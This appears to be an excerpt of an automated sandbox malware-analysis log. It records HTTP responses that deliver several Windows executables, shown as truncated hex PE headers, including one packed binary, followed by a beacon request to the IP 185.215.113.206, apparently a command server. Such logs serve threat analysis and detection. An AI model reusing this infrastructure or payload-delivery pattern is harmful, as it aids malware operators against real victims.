2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 06 Dec 2024 21:08:49 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 06 Dec 2024 21:08:51 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 06 Dec 2024 21:08:52 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 06 Dec 2024 21:08:53 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 06 Dec 2024 21:08:57 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 06 Dec 2024 21:08:58 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 06 Dec 2024 21:09:03 GMTContent-Type: application/octet-streamContent-Length: 3206144Last-Modified: Fri, 06 Dec 2024 20:44:29 GMTConnection: keep-aliveETag: "6753622d-30ec00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 f0 30 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 31 00 00 04 00 00 13 fd 30 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 88 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 de 30 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 de 30 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 80 06 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 88 03 00 00 00 90 06 00 00 04 00 00 00 90 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 94 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 66 66 77 7a 75 6b 6b 78 00 30 2a 00 00 b0 06 00 00 30 2a 00 00 96 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 63 6c 6b 71 7a 6b 66 75 00 10 00 00 00 e0 30 00 00 04 00 00 00 c6 30 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 f0 30 00 00 22 00 00 00 ca 30 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
